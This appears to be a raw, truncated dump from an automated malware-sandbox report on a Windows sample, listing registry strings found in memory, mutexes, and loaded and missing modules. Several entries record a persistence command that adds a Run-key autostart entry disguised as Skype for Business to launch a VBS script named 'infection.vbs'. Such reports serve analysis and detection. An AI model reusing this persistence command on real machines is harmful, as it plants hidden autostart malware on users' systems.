"SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B" in Source: 00000000-00002204-00000C47-1834840552, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B //Nologo \"%APPDATA%\Microsoft\Windows\Templates\infection.vbs\"" /f" in Source: reg.exe, "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00003052.00000000.152334.416EF000.00000002.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00003052.00000000.152334.416EF000.00000002.mdmp, "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B //Nologo \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\infection.vbs\"" /f" in Source: 00000000-00003052.00000000.152334.7F2F0000.00000004.mdmp, "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003052.00000000.152334.7F2F0000.00000004.mdmp, 00000000-00003052.00000000.152334.7F5D0000.00000004.mdmp, "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Microsoft\PowerShell\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD-B71" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp, "55Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-73" in Source: 00000000-00003412.00000001.152819.92E85000.00000004.mdmp, "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005344.00000000.153153.36D30000.00000004.mdmp, 00000000-00005344.00000001.154706.36D30000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005344.00000000.153153.51270000.00000004.mdmp, 00000000-00005344.00000001.154706.51270000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005344.00000000.153153.51270000.00000004.mdmp 00000000-00005344.00000001.154706.51270000.00000004.mdmp36:T56c,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3412:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:3412:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3412:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3412:120:WilError_01" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3412:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3412:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\yayYk3ozz1cfPTtA_Mtx" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5344:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5344:120:WilError_01" Process powershell.exe created mutex with name "yayYk3ozz1cfPTtA_Mtx" Process powershell.exe created mutex with name "Local\SM0:5344:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5344:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:5344:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5344:304:WilStaging_02"37:T1420,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\ncrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135]38:T22d5,"Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00003052.00000000.152334.416EF000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00003052.00000000.152334.416EF000.00000002.mdmp "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SkypeForBusinessEntryPointKTkkeQ" /t REG_SZ /d "wscript.exe //B //Nologo \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\infection.vbs\"" /f " in Source: 00000000-00003052.00000000.152334.7F2F0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003052.00000000.152334.7F2F0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00003052.00000000.152334.7F5D0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00003412.00000000.152666.00000000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003412.00000000.152666.1CE1A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD-B71" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003412.00000000.152666.66EA0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{DDCFD26B-FEED-44CD-B71" in Source: 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp "55Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-73" in Source: 00000000-00003412.00000001.152819.92E85000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005344.00000000.153153.36D30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005344.00000000.153153.51270000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005344.00000000.153153.51270000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005344.00000000.153153.51270000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005344.00000001.154706.36D30000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005344.00000001.154706.49E18000.00000002.mdmp "HKLM\" in Source: 00000000-00005344.00000001.154706.49E18000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005344.00000001.154706.49E18000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005344.00000001.154706.49E18000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005344.00000001.154706.49E18000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005344.00000001.154706.51270000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005344.00000001.154706.51270000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005344.00000001.154706.51270000.00000004.mdmp39:T3d9b,"cmd.exe" loaded module "KERNEL32" at base 7ffe71920000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe70fb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe70fb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe70fb0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe73910000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe70fb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe70fb0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe70fb0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe5b830000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffe74220000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffe71920000 "reg.exe" loaded module "KERNEL32" at base 7ffe71920000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe70fb0000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe70fb0000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe70fb0000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe73910000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe70fb0000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe70fb0000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe70fb0000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe5b830000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ffe71920000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe70fb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe70fb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe70fb0000 "powershell.exe" loaded module "KERNEL32" at base 7ffe71920000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffe5b830000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe71920000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe73190000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe51f30000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe71720000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe70570000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe688b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe42280000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe73940000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe70fb0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe51fe0000 "powershell.exe" loaded module "NTDLL" at base 7ffe74220000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe73db0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe73ad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe40c80000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe732a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe73db0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe73840000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe40010000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe3f590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe5b780000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe6fa10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe70f10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe3d520000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe73db0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe73db0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe74220000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe74120000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe71be0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe71320000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe64580000 "powershell.exe" loaded module 